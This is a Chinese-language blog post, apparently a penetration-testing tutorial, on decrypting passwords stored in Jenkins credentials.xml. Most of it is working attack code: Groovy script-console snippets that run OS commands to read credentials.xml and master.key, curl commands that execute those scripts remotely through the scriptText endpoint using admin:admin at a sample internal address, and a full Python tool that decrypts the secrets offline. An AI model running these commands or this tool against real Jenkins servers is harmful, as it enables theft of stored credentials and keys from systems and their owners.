Jenkins凭据文件解密技术详解

本文详细介绍了在Jenkins系统中解密credentials.xml文件的技术方法,包括通过脚本控制台访问、使用curl命令以及Python解密工具等多种实现方式。

Jenkins - 解密credentials.xml

如果你发现自己在一个具有脚本控制台访问权限的Jenkins系统上,可以通过以下方式解密credentials.xml中保存的密码:

1
2
3
hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

你需要在Jenkins系统本身上执行此操作,因为它使用本地的master.key和hudson.util.Secret

下方截图展示了操作过程。

通过脚本控制台获取credentials.xml的代码

Windows系统

1
2
3
4
5
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Unix/Linux系统

1
2
3
4
5
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

使用curl进行解密操作

如果你想使用curl,可以访问scriptText端点并执行以下操作:

Windows系统:

1
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

对于子目录中的文件,语法稍有不同:

1
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run

Unix/Linux系统:

1
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

然后解密任何密码:

1
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"

离线解密工具

如果你拥有相关文件但无法访问Jenkins,可以使用: https://github.com/tweksteen/jenkins-decrypt

在本文撰写时,Python脚本中的正则表达式存在一个小bug,我还没有修复。但这里有一个版本,我直接打印出值而不是使用正则表达式,你可以看到解密后的密码。修改在第55行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python3

import re
import sys
import base64
from hashlib import sha256
from binascii import hexlify, unhexlify
from Crypto.Cipher import AES

MAGIC = b"::::MAGIC::::"

def usage():
    print("./decrypt.py <master.key> <hudson.util.Secret> <credentials.xml>")
    sys.exit(0)

def decryptNewPassword(secret, p):
    p = p[1:] # 剥离版本号
    
    # 获取IV长度,几乎肯定是16字节,但为了完整性计算
    iv_length = ((p[0] & 0xff) << 24) | ((p[1] & 0xff) << 16) | ((p[2] & 0xff) << 8) | (p[3] & 0xff)
    
    # 剥离IV长度
    p = p[4:]
    
    # 获取数据长度
    data_length = ((p[0] & 0xff) << 24) | ((p[1] & 0xff) << 16) | ((p[2] & 0xff) << 8) | (p[3] & 0xff)
    
    # 剥离数据长度
    p = p[4:]
    
    iv = p[:iv_length]
    p = p[iv_length:]
    
    o = AES.new(secret, AES.MODE_CBC, iv)
    decrypted_p = o.decrypt(p)
    
    # 可能需要剥离PKCS7填充
    fully_decrypted_blocks = decrypted_p[:-16]
    possibly_padded_block = decrypted_p[-16:]
    padding_length = possibly_padded_block[-1]
    
    if padding_length < 16: # 小于一个块的大小,所以有填充
        possibly_padded_block = possibly_padded_block[:-padding_length]
    
    pw = fully_decrypted_blocks + possibly_padded_block
    pw = pw.decode('utf-8')
    return pw

def decryptOldPassword(secret, p):
    # 复制旧代码,我还没有验证它是否有效
    o = AES.new(secret, AES.MODE_ECB)
    x = o.decrypt(p)
    assert MAGIC in x
    print(x)
    # return re.findall('(.*)' + MAGIC, x)[0]

def main():
    if len(sys.argv) != 4:
        usage()
    
    master_key = open(sys.argv[1], 'rb').read()
    hudson_secret_key = open(sys.argv[2], 'rb').read()
    hashed_master_key = sha256(master_key).digest()[:16]
    o = AES.new(hashed_master_key, AES.MODE_ECB)
    secret = o.decrypt(hudson_secret_key)
    
    secret = secret[:-16]
    secret = secret[:16]
    
    credentials = open(sys.argv[3]).read()
    passwords = re.findall(r'<password>\{?(.*?)\}?</password>', credentials)
    print(passwords)
    
    # 你可以在 https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/util/Secret.java#L167-L216 找到密码格式
    
    for password in passwords:
        p = base64.decodestring(bytes(password, 'utf-8'))
        
        # 获取有效载荷版本
        payload_version = p[0]
        if payload_version == 1:
            print(decryptNewPassword(secret, p))
        else: # 假设我们没有V2有效载荷,考虑到当前的加密并不糟糕,这是一个合理的假设
            print(decryptOldPassword(secret,p))

if __name__ == '__main__':
    main()

编辑于3月19日: 脚本只对密码进行正则匹配(第72行),如果有SSH密钥或其他密钥,你可能需要替换正则表达式…请阅读credentials.xml文件 :-)

编辑于4月8日: 这条推文概述了另一种类似的方法 https://twitter.com/netmux/status/1115237815590236160

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计